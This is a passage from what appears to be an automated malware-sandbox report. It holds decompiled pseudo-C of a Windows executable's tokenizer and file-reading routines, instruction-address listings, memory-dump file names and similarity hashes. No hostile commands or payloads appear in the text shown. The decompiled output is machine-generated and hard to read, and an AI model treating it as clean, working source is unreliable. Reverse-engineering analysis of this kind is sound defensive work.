													_t254 = E00F2653C(_t402 + 2);
													_v32 = _t254;
													_push( ~(0 | __eflags > 0x00000000) | _t254 * 0x00000002);
													_v12 = E00EF14F7(_t376, _t402, __eflags);
													E00EF0D80(_t256, _v40, _t402 + _t402 + 2);
													_t258 = _v12;
													_t417 = _t417 + 0x10;
													_v40 = _t258;
												} else {
													E00EE3130(_t400 + 1,  &_v40, _t448); // executed
													_t402 = _v36;
													_t258 = _v40;
												}
												 *(_t258 + _t402 * 2) = _t376;
												_t400 = _t402 + 1;
												_t331 = 0;
												_t321 = _t321 + 1;
												 *((short*)(_t258 + _t400 * 2)) = 0;
												_t376 =  *(_a8 + _t321 * 2) & 0x0000ffff;
												_v36 = _t400;
												__eflags = _t376 - 0x5a;
												if(_t376 > 0x5a) {
													goto L51;
												}
												goto L50;
											}
											L51:
											__eflags = _t376 - 0x61;
											if(_t376 < 0x61) {
												L34:
												__eflags = _t376 - 0x30;
												if(_t376 >= 0x30) {
													__eflags = _t376 - 0x39;
													if(_t376 <= 0x39) {
														goto L53;
													}
												}
												__eflags = _t376 - 0x5f;
												if(_t376 == 0x5f) {
													goto L53;
												}
												__eflags = _t400;
												if(_t400 == 0) {
													__eflags = _t321 - 1;
													E00F405C5(_a4, _t448, _a4, 0x138b, _t321 - 1);
													L140:
													E00EE2480( &_v40);
													E00F2B3F5(__eflags,  &_v24);
													_t226 = 1;
													goto L47;
												}
												E00EE2920( &_v40);
												_t404 = _v36;
												_t377 = _v40;
												CharUpperBuffW(_t377, _t404);
												_t266 = _v16;
												__eflags = _t266 - 0x30;
												if(__eflags >= 0) {
													__eflags = _t266 - 0x3f;
													if(__eflags <= 0) {
														_t271 = _v24;
														__eflags = _v24;
														if(__eflags != 0) {
															E00F2651E(_t271);
														}
													}
												}
												_push(0x10);
												_v16 = 0x33;
												_t268 = E00EF14F7(_t377, _t404, __eflags);
												_t417 = _t417 + 4;
												__eflags = _t268;
												if(_t268 == 0) {
													_v24 = 0;
												} else {
													_t331 = _v28;
													_t367 = _v32;
													 *_t268 = _t377;
													 *(_t268 + 4) = _t404;
													 *(_t268 + 8) = _v32;
													 *(_t268 + 0xc) = _t331;
													 *_t331 =  *_t331 + 1;
													__eflags =  *_t331;
													_v24 = _t268;
												}
												L40:
												_t57 =  &_a12; // 0xee2749
												E00EE29B0( &_v24, _t331,  *_t57);
												goto L41;
											}
											__eflags = _t376 - 0x7a;
											if(_t376 > 0x7a) {
												goto L34;
											}
											goto L53;
										}
									}
									if(_t249 == 0x3d) {
										_t367 = _a8;
										_t321 = _t321 + 1;
										__eflags =  *((short*)(_t367 + _t321 * 2)) - 0x3d;
										if( *((short*)(_t367 + _t321 * 2)) == 0x3d) {
											E00EE2940(0x50,  &_v24, _t448);
											_t321 = _t321 + 1;
										} else {
											E00EE2940(0x41,  &_v24, _t448);
										}
										goto L40;
									}
									if(_t249 == 0x28) {
										E00EE2940(0x47,  &_v24, _t448);
										_t103 =  &_a12; // 0xee2749
										E00EE29B0( &_v24, _t331,  *_t103);
										_t321 = _t321 + 1;
										goto L41;
									}
									if(_t249 == 0x29) {
										E00EE2940(0x48,  &_v24, _t448);
										_t101 =  &_a12; // 0xee2749
										_t384 =  *_t101;
										E00EE29B0( &_v24, _t331,  *_t101);
										_t321 = _t321 + 1;
										goto L41;
									}
									if(_t249 == 0x22) {
										L63:
										_t344 = _a4;
										_t285 = E00EE31B0( &_v40, _t367,  &_v12, __eflags, _t448, _a4, _a8); // executed
										__eflags = _t285;
										if(_t285 != 0) {
											E00EE2940(0x7f,  &_v24, _t448);
											_t206 =  &_a12; // 0xee2749
											E00EE29B0( &_v24, _t344,  *_t206);
											L137:
											E00EE2480( &_v40);
											E00F2B3F5(__eflags,  &_v24);
											_t226 = 1;
											goto L47;
										}
										_t109 = _t285 + 0x36; // 0x36
										E00EE2940(_t109,  &_v24, _t448);
										E00EE24B0(_t344,  &_v24,  &_v40);
										_t112 =  &_a12; // 0xee2749
										_t384 =  *_t112;
										E00EE29B0( &_v24, _t344,  *_t112);
										_t321 = _v12;
										goto L41;
									}
									_t295 = _t249 - 0x1a;
									if(_t295 > 0x44) {
										L138:
										E00F405C5(_a4, _t448, _a4, 0x1388, _t321);
										E00EE2940(0x7f,  &_v24, _t448);
										_t212 =  &_a12; // 0xee2749
										E00EE29B0( &_v24, _t331,  *_t212);
										goto L140;
									}
									_t30 = _t295 + 0xee30e8; // 0xee308b00
									_t300 =  *_t30 & 0x000000ff;
									switch( *((intOrPtr*)(( *_t30 & 0x000000ff) * 4 +  &M00EE30AC))) {
										case 0:
											__eflags = __ebx;
											if(__ebx != 0) {
												goto L138;
											}
											__ecx = _a8;
											__eflags =  *((intOrPtr*)(__ecx + 2)) - __bx;
											if( *((intOrPtr*)(__ecx + 2)) != __bx) {
												goto L138;
											}
											__edx = _a4;
											__eflags = __edx -  *0xf890f8;
											if(__edx <  *0xf890f8) {
												goto L138;
											}
											__ebx = 1;
											goto L41;
										case 1:
											__edi = 0x4d;
											__esi =  &_v24;
											__eax = E00EE2940(0x4d, __esi, __fp0);
											__ecx = _a8;
											__ebx = __ebx + 1;
											__eflags =  *((short*)(__ecx + __ebx * 2)) - 0x3d;
											if( *((short*)(__ecx + __ebx * 2)) == 0x3d) {
												__edi = 0x56;
												__ebx = __ebx + 1;
												__eax = E00EE2940(0x56, __esi, __fp0);
											}
											goto L40;
										case 2:
											goto L63;
										case 3:
											__edi = 0x4c;
											__esi =  &_v24;
											__eax = E00EE2940(0x4c, __esi, __fp0);
											__eax = _a8;
											__ebx = __ebx + 1;
											__eflags =  *((short*)(__eax + __ebx * 2)) - 0x3d;
											if( *((short*)(__eax + __ebx * 2)) == 0x3d) {
												__edi = 0x55;
												__esi =  &_v24;
												__ebx = __ebx + 1;
												__eax = E00EE2940(0x55, __esi, __fp0);
											}
											goto L40;
										case 4:
											__edi = 0x49;
											__esi =  &_v24;
											__eax = E00EE2940(0x49, __esi, __fp0);
											__eax = _a8;
											__ebx = __ebx + 1;
											__eflags =  *((short*)(__eax + __ebx * 2)) - 0x3d;
											if( *((short*)(__eax + __ebx * 2)) == 0x3d) {
												__edi = 0x52;
												__ebx = __ebx + 1;
												__eax = E00EE2940(0x52, __esi, __fp0);
											}
											goto L40;
										case 5:
											__edi = 0x40;
											__esi =  &_v24;
											__eax = E00EE2940(0x40, __esi, __fp0);
											__edi = _a12;
											__eax = __esi;
											__eax = E00EE29B0(__esi, __ecx, __edi);
											__ebx = __ebx + 1;
											goto L41;
										case 6:
											__edi = 0x4a;
											__esi =  &_v24;
											__eax = E00EE2940(0x4a, __esi, __fp0);
											__ecx = _a8;
											__ebx = __ebx + 1;
											__eflags =  *((short*)(__ecx + __ebx * 2)) - 0x3d;
											if( *((short*)(__ecx + __ebx * 2)) == 0x3d) {
												__edi = 0x53;
												__ebx = __ebx + 1;
												__eax = E00EE2940(0x53, __esi, __fp0);
											}
											goto L40;
										case 7:
											__edi = 0x4b;
											__esi =  &_v24;
											__eax = E00EE2940(0x4b, __esi, __fp0);
											__edx = _a8;
											__ebx = __ebx + 1;
											__eflags =  *((short*)(__edx + __ebx * 2)) - 0x3d;
											if( *((short*)(__edx + __ebx * 2)) == 0x3d) {
												__edi = 0x54;
												__esi =  &_v24;
												__ebx = __ebx + 1;
												__eax = E00EE2940(0x54, __esi, __fp0);
											}
											goto L40;
										case 8:
											__edx = _a8;
											__eax =  *(_a8 + 2 + __ebx * 2) & 0x0000ffff;
											__ebx = __ebx + 1;
											__eax = __eax - 0x3d;
											__eflags = __eax;
											__esi =  &_v24;
											if(__eax == 0) {
												__edi = 0x46;
												__eax = E00EE2940(0x46, __esi, __fp0);
												__ebx = __ebx + 1;
											} else {
												__eax = __eax - 1;
												__eflags = __eax;
												if(__eax == 0) {
													__edi = 0x44;
													__eax = E00EE2940(0x44, __esi, __fp0);
													__ebx = __ebx + 1;
												} else {
													__edi = 0x43;
													__eax = E00EE2940(0x43, __esi, __fp0);
												}
											}
											goto L40;
										case 9:
											__eax = _a8;
											__ebx = __ebx + 1;
											__eflags =  *((short*)(__eax + __ebx * 2)) - 0x3d;
											__esi =  &_v24;
											if( *((short*)(__eax + __ebx * 2)) == 0x3d) {
												__edi = 0x45;
												__eax = E00EE2940(0x45, __esi, __fp0);
												__ebx = __ebx + 1;
											} else {
												__edi = 0x42;
												__eax = E00EE2940(0x42, __esi, __fp0);
											}
											goto L40;
										case 0xa:
											__esi =  &_v40;
											__ebx = __ebx + 1;
											__eflags = __ebx;
											__eax = E00EE3580( &_v40);
											__esi = _a8;
											while(1) {
												__eax =  *(__esi + __ebx * 2) & 0x0000ffff;
												__eflags = __ax - 0x5a;
												if(__ax > 0x5a) {
													goto L85;
												}
												L84:
												__eflags = __ax - 0x41;
												if(__ax >= 0x41) {
													L87:
													 &_v40 = E00EE3250( &_v40, __fp0,  &_v40);
													__ebx = __ebx + 1;
													__eax =  *(__esi + __ebx * 2) & 0x0000ffff;
													__eflags = __ax - 0x5a;
													if(__ax > 0x5a) {
														goto L85;
													}
													goto L84;
												}
												L85:
												__eflags = __ax - 0x61;
												if(__ax < 0x61) {
													L88:
													__eflags = __ax - 0x30;
													if(__ax >= 0x30) {
														__eflags = __ax - 0x39;
														if(__ax <= 0x39) {
															goto L87;
														}
													}
													__eflags = __ax - 0x5f;
													if(__ax == 0x5f) {
														goto L87;
													}
													__eflags = _v36;
													if(_v36 == 0) {
														__eax = _a4;
														__eax = E00F405C5(__edx, __fp0, _a4, 0x138b, __ebx);
														goto L137;
													}
													 &_v40 = E00EE2920( &_v40);
													__ecx = _v36;
													__edx = _v40;
													__eax = CharUpperBuffW(_v40, _v36);
													__edi = 0x32;
													L92:
													E00EE2940(0x35,  &_v24, _t448);
													E00EE24B0(_t331,  &_v24,  &_v40);
													goto L40;
												}
												__eflags = __ax - 0x7a;
												if(__ax > 0x7a) {
													goto L88;
												}
												goto L87;
											}
										case 0xb:
											__edi = 0x4e;
											__esi =  &_v24;
											__eax = E00EE2940(0x4e, __esi, __fp0);
											__edi = _a12;
											__eax = __esi;
											__eax = E00EE29B0(__esi, __ecx, __edi);
											__ebx = __ebx + 1;
											goto L41;
										case 0xc:
											__edi = 0x4f;
											__esi =  &_v24;
											__eax = E00EE2940(0x4f, __esi, __fp0);
											__edi = _a12;
											__eax = __esi;
											__eax = E00EE29B0(__esi, __ecx, __edi);
											__ebx = __ebx + 1;
											goto L41;
										case 0xd:
											__edi = 0x51;
											__esi =  &_v24;
											__eax = E00EE2940(0x51, __esi, __fp0);
											__edi = _a12;
											__eax = __esi;
											__eax = E00EE29B0(__esi, __ecx, __edi);
											__ebx = __ebx + 1;
											goto L41;
										case 0xe:
											goto L138;
									}
								}
								_t321 = _t321 + 1;
								__eflags = _t321;
								E00EE3580( &_v40);
								_t412 = _a8;
								while(1) {
									_t310 =  *(_t412 + _t321 * 2) & 0x0000ffff;
									__eflags = _t310 - 0x41;
									if(_t310 < 0x41) {
										goto L106;
									}
									L105:
									__eflags = _t310 - 0x5a;
									if(_t310 <= 0x5a) {
										L113:
										E00EE3250( &_v40, _t448, _t310);
										_t321 = _t321 + 1;
										_t310 =  *(_t412 + _t321 * 2) & 0x0000ffff;
										__eflags = _t310 - 0x41;
										if(_t310 < 0x41) {
											goto L106;
										}
										goto L105;
									}
									L106:
									__eflags = _t310 - 0x61;
									if(_t310 < 0x61) {
										L108:
										__eflags = _t310 - 0x30;
										if(_t310 < 0x30) {
											L110:
											__eflags = _t310 - 0x5f;
											if(_t310 == 0x5f) {
												goto L113;
											}
											__eflags = _v36;
											if(_v36 == 0) {
												E00F405C5(_t359, _t448, _a4, 0x138b, _t321 - 1);
												E00EE2480( &_v40);
												E00F2B3F5(__eflags,  &_v24);
												_t226 = 1;
												goto L47;
											}
											goto L92;
										}
										__eflags = _t310 - 0x39;
										if(_t310 <= 0x39) {
											goto L113;
										}
										goto L110;
									}
									__eflags = _t310 - 0x7a;
									if(_t310 <= 0x7a) {
										goto L113;
									}
									goto L108;
								}
							} else {
								_t43 =  &_a12; // 0xee2749
								_t384 =  *_t43;
								E00EE29B0( &_v24, _t331,  *_t43);
								_t321 = _v12;
								goto L41;
							}
						}
						L14:
						if(_t398 == 0x2e) {
							goto L32;
						}
						goto L15;
						L41:
						__eflags =  *(_a8 + _t321 * 2);
					} while (__eflags != 0);
					_t231 = _v16;
					__eflags = _t231 - 0x30;
					if(_t231 >= 0x30) {
						__eflags = _t231 - 0x3f;
						if(_t231 <= 0x3f) {
							_t397 = _v24;
							__eflags = _t397;
							if(_t397 != 0) {
								 *( *(_t397 + 0xc)) =  *( *(_t397 + 0xc)) - 1;
								__eflags =  *( *(_t397 + 0xc));
								if( *( *(_t397 + 0xc)) == 0) {
									_push( *_t397);
									E00EF10FC();
									_push( *(_t397 + 0xc));
									E00EF10FC();
									_t417 = _t417 + 8;
								}
								_push(_t397);
								E00EF10FC();
								_t417 = _t417 + 4;
							}
						}
					}
					goto L44;
				} else {
					_t384 = 0;
					_t302 = _t355;
					do {
						_t398 =  *( *((intOrPtr*)(_t302 + 4)) + _t384 * 4);
						if(_t398 != 0) {
							_t300 =  *(_t398 + 8) & 0x0000ffff;
							if(_t300 <= 0x3f) {
								if(_t300 >= 0x30) {
									_t348 =  *_t398;
									if(_t348 != 0) {
										 *((intOrPtr*)( *((intOrPtr*)(_t348 + 0xc)))) =  *((intOrPtr*)( *((intOrPtr*)(_t348 + 0xc)))) - 1;
										_v12 = _t348;
										if( *((intOrPtr*)( *((intOrPtr*)(_t348 + 0xc)))) == _t321) {
											_push( *_v12);
											E00EF10FC();
											_push( *((intOrPtr*)(_v12 + 0xc)));
											E00EF10FC();
											_t417 = _t417 + 8;
										}
										_push(_v12);
										E00EF10FC();
										_t417 = _t417 + 4;
									}
								}
							}
							_push(_t398);
							E00EF10FC();
							_t18 =  &_a12; // 0xee2749
							_t302 =  *_t18;
							_t417 = _t417 + 4;
						}
						_t384 = _t384 + 1;
					} while (_t384 <  *((intOrPtr*)(_t302 + 8)));
					goto L8;
				}
			}

0x00ee2ab0
0x00ee2ab9
0x00ee2ac5
0x00ee2ac7
0x00ee2ad4
0x00ee2ad5
0x00ee2ad6
0x00ee2add
0x00ee2ade
0x00ee2ae8
0x00ee2aea
0x00ee2aed
0x00ee2af0
0x00ee2af5
0x00ee2afa
0x00f07cee
0x00ee2b00
0x00ee2b00
0x00ee2b06
0x00ee2b06
0x00ee2b09
0x00ee2b09
0x00ee2b0f
0x00ee2b3f
0x00ee2b3f
0x00ee2b45
0x00ee2b4b
0x00ee2d2f
0x00ee2d2f
0x00ee2d3a
0x00ee2d3e
0x00ee2d45
0x00ee2d49
0x00ee2d4e
0x00ee2d51
0x00ee2d51
0x00ee2d53
0x00ee2d58
0x00ee2d59
0x00ee2d61
0x00ee2d62
0x00ee2d67
0x00ee2d6a
0x00ee2d6a
0x00ee2d6c
0x00ee2d72
0x00000000
0x00000000
0x00000000
0x00ee2b51
0x00ee2b51
0x00ee2b51
0x00ee2b60
0x00ee2b60
0x00ee2b67
0x00ee2c57
0x00000000
0x00ee2c57
0x00ee2b76
0x00ee2b7d
0x00000000
0x00000000
0x00ee2b83
0x00ee2b85
0x00ee2b88
0x00ee2b8f
0x00ee2c5d
0x00ee2c60
0x00000000
0x00000000
0x00ee2c66
0x00ee2c6a
0x00ee2c6d
0x00ee2c74
0x00ee2c79
0x00ee2c7b
0x00f07d18
0x00f07d1b
0x00f07d1e
0x00ee2b9e
0x00ee2ba1
0x00ee2ddd
0x00ee2de0
0x00000000
0x00000000
0x00ee2de6
0x00ee2de6
0x00ee2df5
0x00ee2dfa
0x00ee2dfe
0x00f07f32
0x00f07f3a
0x00f07f43
0x00f07f48
0x00000000
0x00ee2e04
0x00ee2e04
0x00ee2e0a
0x00ee2e0f
0x00000000
0x00ee2e0f
0x00ee2dfe
0x00ee2ba7
0x00ee2baa
0x00ee3052
0x00ee3055
0x00000000
0x00000000
0x00ee305b
0x00ee2bb3
0x00000000
0x00000000
0x00ee2bb9
0x00ee2bbe
0x00ee2d78
0x00ee2d78
0x00ee2d79
0x00ee2d81
0x00ee2d85
0x00ee2d88
0x00ee2d88
0x00ee2d8c
0x00000000
0x00000000
0x00ee2d8e
0x00ee2d8e
0x00ee2d92
0x00ee2da8
0x00ee2da8
0x00ee2dab
0x00ee2dae
0x00f07e86
0x00f07e8b
0x00f07e90
0x00f07e97
0x00f07e9e
0x00f07eaf
0x00f07ec2
0x00f07ec5
0x00f07eca
0x00f07ecd
0x00f07ed0
0x00ee2db4
0x00ee2dba
0x00ee2dbf
0x00ee2dc2
0x00ee2dc2
0x00ee2dc8
0x00ee2dcc
0x00ee2dcd
0x00ee2dcf
0x00ee2dd0
0x00ee2dd4
0x00ee2dd8
0x00ee2d88
0x00ee2d8c
0x00000000
0x00000000
0x00000000
0x00ee2d8c
0x00ee2d94
0x00ee2d94
0x00ee2d98
0x00ee2c91
0x00ee2c91
0x00ee2c95
0x00ee2f2e
0x00ee2f32
0x00000000
0x00000000
0x00ee2f38
0x00ee2c9b
0x00ee2c9f
0x00000000
0x00000000
0x00ee2ca5
0x00ee2ca7
0x00f07fc5
0x00f07fcd
0x00f07fd2
0x00f07fd5
0x00f07fde
0x00f07fe3
0x00000000
0x00f07fe3
0x00ee2cb0
0x00ee2cb5
0x00ee2cb8
0x00ee2cbd
0x00ee2cc3
0x00ee2cc7
0x00ee2ccb
0x00ee2f88
0x00ee2f8c
0x00f07ed8
0x00f07edb
0x00f07edd
0x00f07ee4
0x00f07ee4
0x00f07edd
0x00ee2f8c
0x00ee2cd6
0x00ee2cd8
0x00ee2cdc
0x00ee2ce1
0x00ee2ce4
0x00ee2ce6
0x00f07eee
0x00ee2cec
0x00ee2cec
0x00ee2cef
0x00ee2cf2
0x00ee2cf4
0x00ee2cf7
0x00ee2cfa
0x00ee2cfd
0x00ee2cfd
0x00ee2cff
0x00ee2cff
0x00ee2d02
0x00ee2d02
0x00ee2d08
0x00000000
0x00ee2d08
0x00ee2d9e
0x00ee2da2
0x00000000
0x00000000
0x00000000
0x00ee2da2
0x00ee2d88
0x00ee2bc7
0x00ee2e17
0x00ee2e1a
0x00ee2e1b
0x00ee2e23
0x00f07e7b
0x00f07e80
0x00ee2e29
0x00ee2e2e
0x00ee2e2e
0x00000000
0x00ee2e23
0x00ee2bd0
0x00ee2e5d
0x00ee2e62
0x00ee2e67
0x00ee2e6c
0x00000000
0x00ee2e6c
0x00ee2bd9
0x00ee2e40
0x00ee2e45
0x00ee2e45
0x00ee2e4a
0x00ee2e4f
0x00000000
0x00ee2e4f
0x00ee2be2
0x00ee2e72
0x00ee2e75
0x00ee2e80
0x00ee2e88
0x00ee2e8a
0x00f07f6c
0x00f07f71
0x00f07f77
0x00f07f7c
0x00f07f7f
0x00f07f88
0x00f07f8d
0x00000000
0x00f07f8d
0x00ee2e90
0x00ee2e93
0x00ee2e9e
0x00ee2ea5
0x00ee2ea5
0x00ee2ea8
0x00ee2ead
0x00000000
0x00ee2ead
0x00ee2be8
0x00ee2bee
0x00f07f97
0x00f07fa1
0x00f07fae
0x00f07fb3
0x00f07fb8
0x00000000
0x00f07fb8
0x00ee2bf4
0x00ee2bf4
0x00ee2bfb
0x00000000
0x00f07e48
0x00f07e4a
0x00000000
0x00000000
0x00f07e50
0x00f07e53
0x00f07e57
0x00000000
0x00000000
0x00f07e5d
0x00f07e60
0x00f07e66
0x00000000
0x00000000
0x00f07e6c
0x00000000
0x00000000
0x00ee2eb5
0x00ee2eba
0x00ee2ebd
0x00ee2ec2
0x00ee2ec5
0x00ee2ec6
0x00ee2ecb
0x00ee2ed1
0x00ee2ed6
0x00ee2ed7
0x00ee2ed7
0x00000000
0x00000000
0x00000000
0x00000000
0x00ee2f0d
0x00ee2f12
0x00ee2f15
0x00ee2f1a
0x00ee2f1d
0x00ee2f1e
0x00ee2f23
0x00f07e05
0x00f07e0a
0x00f07e0d
0x00f07e0e
0x00f07e0e
0x00000000
0x00000000
0x00ee2ee1
0x00ee2ee6
0x00ee2ee9
0x00ee2eee
0x00ee2ef1
0x00ee2ef2
0x00ee2ef7
0x00ee2efd
0x00ee2f02
0x00ee2f03
0x00ee2f03
0x00000000
0x00000000
0x00ee2c3a
0x00ee2c3f
0x00ee2c42
0x00ee2c47
0x00ee2c4a
0x00ee2c4c
0x00ee2c51
0x00000000
0x00000000
0x00f07da9
0x00f07dae
0x00f07db1
0x00f07db6
0x00f07db9
0x00f07dba
0x00f07dbf
0x00f07dc5
0x00f07dca
0x00f07dcb
0x00f07dcb
0x00000000
0x00000000
0x00ee2f3d
0x00ee2f42
0x00ee2f45
0x00ee2f4a
0x00ee2f4d
0x00ee2f4e
0x00ee2f53
0x00f07dd5
0x00f07dda
0x00f07ddd
0x00f07dde
0x00f07dde
0x00000000
0x00000000
0x00ee3060
0x00ee3063
0x00ee3068
0x00ee3069
0x00ee3069
0x00ee306c
0x00ee306f
0x00f07e28
0x00f07e2d
0x00f07e32
0x00ee3075
0x00ee3075
0x00ee3075
0x00ee3076
0x00f07e18
0x00f07e1d
0x00f07e22
0x00ee307c
0x00ee307c
0x00ee3081
0x00ee3081
0x00ee3076
0x00000000
0x00000000
0x00ee308b
0x00ee308e
0x00ee308f
0x00ee3094
0x00ee3097
0x00f07e38
0x00f07e3d
0x00f07e42
0x00ee309d
0x00ee309d
0x00ee30a2
0x00ee30a2
0x00000000
0x00000000
0x00ee2fd1
0x00ee2fd4
0x00ee2fd4
0x00ee2fd5
0x00ee2fda
0x00ee2fdd
0x00ee2fdd
0x00ee2fe1
0x00ee2fe5
0x00000000
0x00000000
0x00ee2fe7
0x00ee2fe7
0x00ee2feb
0x00ee2ff9
0x00ee2ffd
0x00ee3002
0x00ee2fdd
0x00ee2fe1
0x00ee2fe5
0x00000000
0x00000000
0x00000000
0x00ee2fe5
0x00ee2fed
0x00ee2fed
0x00ee2ff1
0x00ee3005
0x00ee3005
0x00ee3009
0x00f07d9a
0x00f07d9e
0x00000000
0x00000000
0x00f07da4
0x00ee300f
0x00ee3013
0x00000000
0x00000000
0x00ee3015
0x00ee3019
0x00f07f52
0x00f07f5d
0x00000000
0x00f07f5d
0x00ee3022
0x00ee3027
0x00ee302a
0x00ee302f
0x00ee3035
0x00ee303a
0x00ee303d
0x00ee3048
0x00000000
0x00ee3048
0x00ee2ff3
0x00ee2ff7
0x00000000
0x00000000
0x00000000
0x00ee2ff7
0x00000000
0x00ee2f97
0x00ee2f9c
0x00ee2f9f
0x00ee2fa4
0x00ee2fa7
0x00ee2fa9
0x00ee2fae
0x00000000
0x00000000
0x00ee2fb4
0x00ee2fb9
0x00ee2fbc
0x00ee2fc1
0x00ee2fc4
0x00ee2fc6
0x00ee2fcb
0x00000000
0x00000000
0x00f07de8
0x00f07ded
0x00f07df0
0x00f07df5
0x00f07df8
0x00f07dfa
0x00f07dff
0x00000000
0x00000000
0x00000000
0x00000000
0x00ee2bfb
0x00f07d27
0x00f07d27
0x00f07d28
0x00f07d2d
0x00f07d30
0x00f07d30
0x00f07d34
0x00f07d38
0x00000000
0x00000000
0x00f07d3e
0x00f07d3e
0x00f07d42
0x00f07d8e
0x00f07d92
0x00f07d97
0x00f07d30
0x00f07d34
0x00f07d38
0x00000000
0x00000000
0x00000000
0x00f07d38
0x00f07d48
0x00f07d48
0x00f07d4c
0x00f07d5c
0x00f07d5c
0x00f07d60
0x00f07d70
0x00f07d70
0x00f07d74
0x00000000
0x00000000
0x00f07d7a
0x00f07d7e
0x00f07f05
0x00f07f0d
0x00f07f16
0x00f07f1b
0x00000000
0x00f07f1b
0x00000000
0x00f07d84
0x00f07d66
0x00f07d6a
0x00000000
0x00000000
0x00000000
0x00f07d6a
0x00f07d52
0x00f07d56
0x00000000
0x00000000
0x00000000
0x00f07d56
0x00ee2c81
0x00ee2c81
0x00ee2c81
0x00ee2c87
0x00ee2c8c
0x00000000
0x00ee2c8c
0x00ee2c7b
0x00ee2b95
0x00ee2b98
0x00000000
0x00000000
0x00000000
0x00ee2d0d
0x00ee2d10
0x00ee2d10
0x00ee2d1b
0x00ee2d1f
0x00ee2d23
0x00ee2d25
0x00ee2d29
0x00ee2f5e
0x00ee2f61
0x00ee2f63
0x00ee2f6c
0x00ee2f71
0x00ee2f74
0x00f07fef
0x00f07ff0
0x00f07ffb
0x00f07ffc
0x00f08001
0x00f08001
0x00ee2f7a
0x00ee2f7b
0x00ee2f80
0x00ee2f80
0x00ee2f63
0x00ee2d29
0x00000000
0x00ee2b11
0x00ee2b11
0x00ee2b13
0x00ee2b15
0x00ee2b18
0x00ee2b1d
0x00ee2b1f
0x00ee2b27
0x00ee2c06
0x00ee2c0c
0x00ee2c10
0x00ee2c19
0x00ee2c1e
0x00ee2c23
0x00f07cfb
0x00f07cfc
0x00f07d0a
0x00f07d0b
0x00f07d10
0x00f07d10
0x00ee2c2c
0x00ee2c2d
0x00ee2c32
0x00ee2c32
0x00ee2c10
0x00ee2c06
0x00ee2b2d
0x00ee2b2e
0x00ee2b33
0x00ee2b33
0x00ee2b36
0x00ee2b36
0x00ee2b39
0x00ee2b3a
0x00000000
0x00ee2b15

Strings

I', xrefs: 00EE2B09, 00EE2B3F, 00EE2D2F, 00EE2E04, 00EE2D02, 00EE2E62, 00EE2E45, 00F07F71, 00EE2EA5, 00F07FB3, 00EE2C81, 00EE2B33, 00F07FEF

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: std::exception::exception$Exception@8Throw_malloc
String ID: I'
API String ID: 2388904642-3658985593
Opcode ID: 59ebb66d7a4708bbcfbad7be2949788ff62d3a25e476032e85690c6f3133a864
Instruction ID: 17d0135aa17c24274f03d06aa7da63bb08e2ba7b9fdb70d0c125dadc0f8a15f1
Opcode Fuzzy Hash: 59ebb66d7a4708bbcfbad7be2949788ff62d3a25e476032e85690c6f3133a864
Instruction Fuzzy Hash: 68F1B275D0028D9BCF14EF55C8819EEB3B9EF44300F206469EA15BB261DB35EE42DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00EEF490, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00EEF490(signed int __ecx, intOrPtr* __edi, void* __eflags, intOrPtr _a4) {
				char _v268;
				char _v412;
				char _v428;
				void* __ebx;
				void* __esi;
				void* __ebp;
				signed int _t23;
				intOrPtr _t25;
				void* _t26;
				void* _t27;
				void* _t31;
				signed int _t42;
				signed int _t44;
				signed int _t46;
				signed int _t48;
				void* _t50;
				void* _t51;
				void* _t54;
				signed int _t55;
				void* _t58;
				void* _t59;
				void* _t60;
				void* _t63;

				_t63 = __eflags;
				_push(_t50);
				_t51 = E00EEFE20(0xf64e64, __ecx | 0xffffffff, _t50);
				E00EF3570( &_v268, _t51);
				_push(_t51);
				E00EF10FC();
				_t58 = (_t55 & 0xfffffff8) - 0x1a8 + 0xc;
				_t52 =  &_v412;
				E00EEF700( &_v412);
				E00EEF540( &_v268,  &_v412, _t63);
				_t23 = 0;
				 *(__edi + 8) = 0;
				_t42 = 0;
				do {
					_t46 =  *(_t58 + _t23 + 0x18) & 0x000000ff;
					_t23 = _t23 + 1;
					_t42 = _t42 + _t46;
				} while (_t23 < 0x10);
				 *(__edi + 8) = _t42;
				_t25 = E00EF48E2(_a4, L"rb"); // executed
				_t59 = _t58 + 8;
				 *__edi = _t25;
				if(_t25 == 0) {
					_t26 = 1;
				} else {
					_t27 = E00EEFE90(__edi); // executed
					_t67 = _t27;
					if(_t27 == 0) {
						E00EF4C24( &_v428, 1, 0x10,  *__edi);
						_t60 = _t59 + 0x10;
						E00F2AF66( &_v428, __eflags,  &_v428, 0x10, 0x99f2);
						_t31 = 0;
						 *(__edi + 8) = 0;
						_t44 = 0;
						__eflags = 0;
						do {
							_t48 =  *(_t60 + _t31 + 8) & 0x000000ff;
							_t31 = _t31 + 1;
							_t44 = _t44 * _t48;
							__eflags = _t31 - 0x10;
						} while (__eflags < 0);
						_push( *__edi);
						 *(__edi + 8) = _t44;
						 *((intOrPtr*)(__edi + 4)) = E00EF4F02(0, _t48, __edi, _t52, __eflags);
						_t26 = 0;
					} else {
						_push( *__edi);
						_t54 = _t27; // executed
						E00EF4966(0, _t46, __edi, _t54, _t67); // executed
						_t26 = _t54;
					}
				}
				return _t26;
			}

0x00eef490
0x00eef49d
0x00eef4ab
0x00eef4b6
0x00eef4bb
0x00eef4bc
0x00eef4c1
0x00eef4c4
0x00eef4c8
0x00eef4d6
0x00eef4dd
0x00eef4df
0x00eef4e2
0x00eef4e4
0x00eef4e4
0x00eef4e9
0x00eef4ea
0x00eef4ec
0x00eef4fa
0x00eef4fd
0x00eef502
0x00eef505
0x00eef509
0x00f07a1d
0x00eef50f
0x00eef510
0x00eef515
0x00eef517
0x00f07a33
0x00f07a38
0x00f07a47
0x00f07a4c
0x00f07a4e
0x00f07a51
0x00f07a51
0x00f07a53
0x00f07a53
0x00f07a58
0x00f07a59
0x00f07a5c
0x00f07a5c
0x00f07a63
0x00f07a64
0x00f07a6f
